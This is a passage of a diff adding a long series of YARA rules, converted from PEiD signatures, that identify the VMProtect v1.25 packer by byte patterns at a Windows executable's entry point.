+rule PEiD_03088_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 59 5F 58 5E 9D 5D 5F 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03089_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5B 5D 5E 58 5F 59 5D 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03090_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5B 5F 58 5D 5E 5D 59 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03091_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5F 5E 58 5D 59 5D 5B 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03092_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5A 59 5E 9D 5E 5D 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03093_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5D 58 9D 59 5A 5F 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03094_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5D 5E 5F 9D 5A 59 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03095_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 59 9D 5D 5A 5E 58 5F 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03096_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5A 5F 5E 5D 58 58 59 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03097_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5A 9D 58 5F 5E 5E 59 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03098_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5D 5F 5E 9D 58 5A 59 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03099_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5E 59 5F 5D 5D 9D 58 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03100_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 9D 5F 5D 58 5A 5E 59 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03101_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 59 5E 5A 58 5B 5F 59 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03102_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5E 58 5A 9D 5F 59 5B 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03103_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5E 58 5F 5A 59 5B 5B 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03104_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5F 5A 5B 5E 58 9D 59 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03105_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5F 5B 5D 58 5E 5A 59 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03106_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 9D 5A 5B 59 58 5E 58 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03107_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5A 5F 59 5B 5D 58 5B 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03108_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5A 5F 5B 9D 58 5E 59 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03109_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5B 5A 58 5D 59 5F 9D 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03110_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5D 5B 5F 5E 59 58 9D 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03111_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5E 5A 58 5D 9D 59 5F 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03112_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5E 5B 58 9D 59 5D 5F 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03113_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5F 58 5B 5A 59 5D 9D 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03114_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 9D 5A 5D 5F 58 5B 59 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03115_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 59 59 5A 5B 9D 5E 58 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03116_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5A 59 5D 9D 5E 58 5B 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03117_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5B 9D 5D 5A 5E 58 5A 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03118_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5E 9D 5F 59 5A 5D 58 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03119_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5A 59 5E 5D 5F 5B 5A 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03120_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5E 5A 58 5F 5D 5B 59 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03121_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5E 5F 5B 5D 58 5A 59 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03122_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5A 5B 5E 5F 9D 5D 5F 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03123_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5A 5E 5F 5B 5B 5D 59 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03124_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5F 5E 59 9D 5D 5B 59 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03125_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5F 5E 5B 59 5D 5A 9D 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03126_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 59 58 5B 5E 5F 5A 9D 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03127_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5D 5A 58 9D 5B 5E 5F 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03128_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5E 5A 5F 5B 9D 5B 58 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03129_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5E 5F 5D 5A 5B 58 5A 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03130_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5F 5B 58 5A 9D 58 5E 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03131_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 58 5B 59 5E 5D 5F 5F 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03132_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 59 5E 5D 5F 9D 5E 5B 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03133_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5B 5F 5E 9D 58 5D 59 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03134_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5D 59 5D 5F 58 5E 5B 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03135_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5E 5D 5B 9D 59 58 58 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03136_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5F 5D 9D 58 59 59 5B 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03137_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 9D 5B 5F 5E 5D 58 59 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03138_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 59 5D 9D 5E 5F 5A 5D 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03139_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 59 5E 5F 5D 5A 9D 58 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03140_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 5D 5E 5F 58 9D 5A 58 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03141_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 9D 58 59 58 5E 5D 5A 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03142_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 59 9D 5A 5E 58 5B 5F 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03143_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5A 5F 58 9D 5E 5B 59 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03144_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5B 58 5A 59 5F 9D 5E 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03145_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5B 59 5F 5E 9D 5D 5A 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03146_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 9D 59 5F 5D 58 5E 5A 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03147_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 59 5B 59 5A 5D 9D 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03148_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 5D 5A 5A 5F 5B 9D 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03149_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 5F 5D 5A 59 9D 5A 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03150_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 59 58 5F 5B 5D 5D 5A 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03151_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 59 5A 5B 9D 5F 58 58 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03152_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5A 59 9D 5F 5D 5B 58 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03153_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5D 58 59 58 9D 5A 5B 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03154_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5D 5B 5A 9D 58 5A 59 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03155_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5F 58 59 9D 5F 5B 5D 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03156_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 9D 5D 5B 59 5A 58 5F 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03157_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 9D 5F 5D 5B 58 5D 59 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03158_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 5A 58 5E 5D 5B 9D 59 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03159_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 5F 5B 58 59 5D 5A 5E 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03160_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 9D 58 5B 5D 5A 5A 5E 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03161_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 59 5A 5B 58 5B 5F 5E 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03162_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5D 59 58 5F 5A 5E 5B 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03163_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5D 5E 59 5B 58 5B 5F 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03164_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5F 58 5E 5A 5B 59 5D 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03165_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5F 59 5D 5A 5B 5B 5E 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03166_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03167_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03168_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 55 00 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03169_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 98 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03170_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03171_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 8A 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03172_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 46 83 ED 02 66 89 45 00 E9}
+    condition:
